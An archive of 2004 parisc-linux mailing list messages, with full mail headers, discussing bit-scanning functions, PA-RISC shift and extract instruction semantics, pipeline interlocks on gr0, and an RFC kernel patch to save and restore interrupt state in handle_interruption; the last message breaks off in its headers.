X-Qmail-Scanner: 1.20st (Clear:RC:1(12.18.108.24):. Processed in 2.371094 secs)
Original-Received: from unknown (HELO 66-90-213-180.dyn.grandenetworks.net)
	(12.18.108.24)
	by mail.goquest.com with SMTP; 13 Aug 2004 18:59:49 -0000
User-Agent: KMail/1.6.2
In-Reply-To: <200408120859.28306.mszick@goquest.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21872

On Thu August 12 2004 08:59, Michael S. Zick wrote:
> On Wed August 11 2004 06:58, Joel Soete wrote:
> > 
> > Please note that I have to abuse the original ffs() code with ULffs() and
> > an unsigned long (64bit long for hppa64-gcc) as parameter (the original
> > was an integer of 32bit long for 64bit and 32bit gcc).
> > 
> > hth,
> >     Joel
> Thanks for the testing and the help Joel.
> So I would like the m-l to consider that patch sent
> earlier be upgraded from "suggested" to "submitted".
> 
Just a PS...
include/asm-parisc/bitops.h:: int fls(int x)
Is only scanning the sign (or zero) extension of an integer
on 64-bit machines.

Any objections if I submit a fix for that one also?

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Should I read SHR[DW] as SHRP[DW] in parisc2.pdf?
Date: Fri, 13 Aug 2004 17:54:29 -0500
Lines: 58
Approved: news@gmane.org
Message-ID: <200408131754.29746.mszick@goquest.com>
References: <40FB9ACA0000BB69@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623521 10456 80.91.229.3 (22 Nov 2014 02:32:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:01 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25221 invoked by uid 65534); 13 Aug 2004 22:55:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 14 Aug 2004 00:55:38 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7AC7C3BE1B; Fri, 13 Aug 2004 16:55:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30332-08; Fri, 13 Aug 2004 16:55:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E26413BDEA; Fri, 13 Aug 2004 16:55:12 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A7503BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 16:55:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30332-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 16:55:02 -0600 (MDT)
Original-Received: from mail.goquest.com (mail.goquest.com [64.217.178.7])
	by free.linux.hp.com (Postfix) with SMTP id AB7573BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 16:55:01 -0600 (MDT)
Original-Received: (qmail 11437 invoked by uid 497); 13 Aug 2004 22:53:56 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with
	qmail-scanner-1.20st 
	(clamscan: 0.60. spamassassin: 2.55.  Clear:RC:1(12.18.108.24):. 
	Processed in 2.682618 secs); 13 Aug 2004 22:53:56 -0000
X-Qmail-Scanner-Mail-From: mszick@goquest.com via mail.goquest.com
X-Qmail-Scanner: 1.20st (Clear:RC:1(12.18.108.24):. Processed in 2.682618 secs)
Original-Received: from unknown (HELO 66-90-213-180.dyn.grandenetworks.net)
	(12.18.108.24)
	by mail.goquest.com with SMTP; 13 Aug 2004 22:53:53 -0000
User-Agent: KMail/1.6.2
In-Reply-To: <40FB9ACA0000BB69@ocpmta1.freegates.net>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21873

On Wed August 11 2004 12:35, Joel Soete wrote:
> Hi all,
> 
> About parisc 2.0 insn set at pages 7-49 and 7-51 I read SHRD,S,cond ...
> and SHRW,S,cond ... but I don't find this mnemonic elsewhere in this book;
> should I better read SHRPD and SHRPW respectively (mnemonic well defined)?
> 
Write as 'shd' either parisc-1.x or parisc-2.x for 32-bit operations.
I cut & pasted an example into a test source file, compiled (32 & 64),
objdump'd the *.o, then with the help of a hex-editor and
my Captain Midnight Decoder ring on the results:
	__asm__(
	"	ldi		0,%1\n"

/* compile & objdump the *.o; both 32-bit and 64-bit */
	"	shd		%%r0,%0,16,%2\n"	
	"	extru,=	%2,15,16,%%r0\n"	

/* Yields (see parisc2.0.pdf, appendix 'C'):
32-bit:
major op-code: 34, op-code extension: 011 (3)
  5c:   d2 80 09 f4     shrpw r0,r20,16,r20

major op-code: 34, op-code extension: 111 (7)
  60:   d2 80 39 f0     extrw,u,= r20,15,16,r0

Also on 64-bit, the identical bit pattern:
  80:   d2 80 09 f4     shrpw r0,r20,16,r20
  84:   d2 80 39 f0     extrw,u,= r20,15,16,r0

Then checking chapter 7 on 'shrpw' it very clearly
states that this instruction effects only the right
half of the registers. (no mention of left half)

Then checking chapter 7 on 'extrw' and it states
that the coded bit-position-number is internally
incremented by 32 so that it actually refers to (in
this example) pos=15+32, len=16.
(Claims left half is 'undefined')

Which means that 'int fls(int x)' as written would 
get its bit-position-numbers translated internally.
(and my earlier posting about it scanning the high
32 bits was wrong).

I still haven't figured out how the author gets that
the last bit to test is #0 rather than #31 - but then
that might be a typo in the code or another thinko
in my reasoning.
*/

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Should I read SHR[DW] as SHRP[DW] in parisc2.p
Date: Fri, 13 Aug 2004 20:27:12 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200408140027.i7E0RCRO001690@hiauly1.hia.nrc.ca>
References: <200408131754.29746.mszick@goquest.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623521 10457 80.91.229.3 (22 Nov 2014 02:32:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 parisc-linux@parisc-linux.org
To: mszick@goquest.com (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13928 invoked by uid 65534); 14 Aug 2004 00:27:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx043) with SMTP; 14 Aug 2004 02:27:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1BD293BE16; Fri, 13 Aug 2004 18:27:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30813-07; Fri, 13 Aug 2004 18:27:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 854BC3BDF4; Fri, 13 Aug 2004 18:27:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16CD53BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 18:27:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30799-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 18:27:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A91443BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 18:27:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i7E0RD45001691; Fri, 13 Aug 2004 20:27:14 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i7E0RCRO001690;
	Fri, 13 Aug 2004 20:27:12 -0400 (EDT)
In-Reply-To: <200408131754.29746.mszick@goquest.com> from "Michael S. Zick" at
	Aug 13, 2004 06:54:29 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21874

>   80:   d2 80 09 f4     shrpw r0,r20,16,r20
>   84:   d2 80 39 f0     extrw,u,= r20,15,16,r0
> 
> Then checking chapter 7 on 'shrpw' it very clearly
> states that this instruction effects only the right
> half of the registers. (no mention of left half)

It actually says for 'shrpw' that the leftmost 32 bits of the target
register (r20) are undefined.  If you had used a different target
register, r20 would not have been affected.

The condition in the 'extrw', "=", checks that all bits in the "word"
are zero.  The leftmost 32 bits in r20 are again undefined as a
result of the 'extrw' instruction.  However, they don't matter as the
target of the extrw is r0 (result discarded) and the condition test
only checks the rightmost 32 bits (word).

You need to be aware that a word is 32 bits and a double word 64 bits
in HP lingo.

The documentation is a bit vague when it comes to condition tests
when a result is discarded, but I believe that the test is done
before the result is discarded.  It doesn't make any sense to test
r0 which always reads as zero.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Should I read SHR[DW] as SHRP[DW] in parisc2.p
Date: Fri, 13 Aug 2004 19:53:17 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <200408131953.17512.mszick@goquest.com>
References: <200408140027.i7E0RCRO001690@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623521 10490 80.91.229.3 (22 Nov 2014 02:32:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:01 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5057 invoked by uid 65534); 14 Aug 2004 00:53:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 14 Aug 2004 02:53:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E6FD03BDCA; Fri, 13 Aug 2004 18:53:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31805-07; Fri, 13 Aug 2004 18:53:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A05173BDF4; Fri, 13 Aug 2004 18:53:08 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0536A3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 18:53:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31805-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 18:53:02 -0600 (MDT)
Original-Received: from mail.goquest.com (unknown [64.217.178.7])
	by free.linux.hp.com (Postfix) with SMTP id BBEB73BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 18:52:57 -0600 (MDT)
Original-Received: (qmail 30512 invoked by uid 497); 14 Aug 2004 00:52:42 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with
	qmail-scanner-1.20st 
	(clamscan: 0.60. spamassassin: 2.55.  Clear:RC:1(12.18.108.24):. 
	Processed in 2.688477 secs); 14 Aug 2004 00:52:42 -0000
X-Qmail-Scanner-Mail-From: mszick@goquest.com via mail.goquest.com
X-Qmail-Scanner: 1.20st (Clear:RC:1(12.18.108.24):. Processed in 2.688477 secs)
Original-Received: from unknown (HELO 66-90-213-180.dyn.grandenetworks.net)
	(12.18.108.24)
	by mail.goquest.com with SMTP; 14 Aug 2004 00:52:38 -0000
User-Agent: KMail/1.6.2
In-Reply-To: <200408140027.i7E0RCRO001690@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21875

On Fri August 13 2004 19:27, John David Anglin wrote:
> >   80:   d2 80 09 f4     shrpw r0,r20,16,r20
> >   84:   d2 80 39 f0     extrw,u,= r20,15,16,r0
> > 
> > Then checking chapter 7 on 'shrpw' it very clearly
> > states that this instruction effects only the right
> > half of the registers. (no mention of left half)
> 
> It actually says for 'shrpw' that the leftmost 32 bits of the target
> register (r20) are undefined.  If you had used a different target
> register, r20 would not have been affected.
> 
I need to learn to read better.

> 
> The documentation is a bit vague when it comes to condition tests
> when a result is discarded, but I believe that the test is done
> before the result is discarded.  It doesn't make any sense to test
> r0 which always reads as zero.
> 
Another vague thing -
Can you get a register stall (interlock) against gr0?
I.E:
op-code ....,destination Rx
op-code source Rx, .....
must wait for the store to Rx to be retired.
If Rx is GR0 - will the behavior be the same?
In tech. terms...
Is the discard prior to the retire stage of the
pipeline?
Is the discard even earlier than that in the pipeline? 
Does reference to GR0 count against the two 
register limit on issues?

I can find a partial answer - if the operation referencing
GR0 changes the flags - it seems that you can stall 
against the update of the flags in the PSW.
(or at least that would be reasonable to expect).

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] handle_interruption should restore I-bit state.
Date: Tue, 17 Aug 2004 14:57:50 -0400
Lines: 59
Approved: news@gmane.org
Message-ID: <20040817185750.GT27047@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623522 10493 80.91.229.3 (22 Nov 2014 02:32:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:02 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 LaMont Jones <lamont@debian.org>,
 John Marvin <jsm@udlkern.fc.hp.com>,
 Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32431 invoked by uid 65534); 17 Aug 2004 18:58:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 17 Aug 2004 20:58:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 20E0C3BE58; Tue, 17 Aug 2004 12:58:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15843-05; Tue, 17 Aug 2004 12:58:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BD4FC3BE47; Tue, 17 Aug 2004 12:57:58 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C3673BE25
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Aug 2004 12:57:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15698-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Aug 2004 12:57:53 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 705CE3BDF9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Aug 2004 12:57:53 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Bx99b-0005Kd-00; Tue, 17 Aug 2004 14:57:51 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (58% Sync Ratio [======....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21876


pa,

I believe that handle_interruption should honour the previous state of
the I-bit and should save/restore the state around the rest of the
functions.

For example if some assembly code traps with I-bit off, when it comes
back to the code the I-bit should still be off, even it had been
temporarily turned on for the sake of the trap.

What do people think? I wonder if I can get jsm's quick comment on this
fact, he mentioned at OLS that he thought we should probably be
saving/restoring I-bit state from the exception handler.

Cheers,
Carlos.

Index: arch/parisc/kernel/traps.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/traps.c,v
retrieving revision 1.18
diff -u -p -r1.18 traps.c
--- arch/parisc/kernel/traps.c	9 Aug 2004 16:38:41 -0000	1.18
+++ arch/parisc/kernel/traps.c	17 Aug 2004 18:50:15 -0000
@@ -431,11 +431,15 @@ void handle_interruption(int code, struc
 	unsigned long fault_address = 0;
 	unsigned long fault_space = 0;
 	struct siginfo si;
+	unsigned long flags;
 
-	if (code == 1)
+	if (code == 1) {
 	    pdc_console_restart();  /* switch back to pdc if HPMC */
-	else
+	}
+	else {
+	    local_irq_save(flags);
 	    local_irq_enable();
+	}
 
 #if 0
 	printk(KERN_CRIT "Interruption # %d\n", code);
@@ -710,6 +714,9 @@ void handle_interruption(int code, struc
 	}
 
 	do_page_fault(regs, code, fault_address);
+	/* We know we are note code==1, the first case
+	   handles this. So we restore the PSW state */
+	local_irq_restore(flags);
 }
 
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 HPMC with high NFS traffic. 99% it's ASTRO's
	fault?
Date: Fri, 20 Aug 2004 01:41:34 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20040820074134.GE29422@colo.lackof.org>
References: <20040813145557.GB31035@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623522 10753 80.91.229.3 (22 Nov 2014 02:32:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18637 invoked by uid 65534); 20 Aug 2004 07:42:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 20 Aug 2004 09:42:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BC61F3BE24; Fri, 20 Aug 2004 01:41:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06630-02; Fri, 20 Aug 2004 01:41:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 86DB33BE1F; Fri, 20 Aug 2004 01:41:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E6D73BDF4
	for <parisc-linux@lists.parisc-linux.org>;
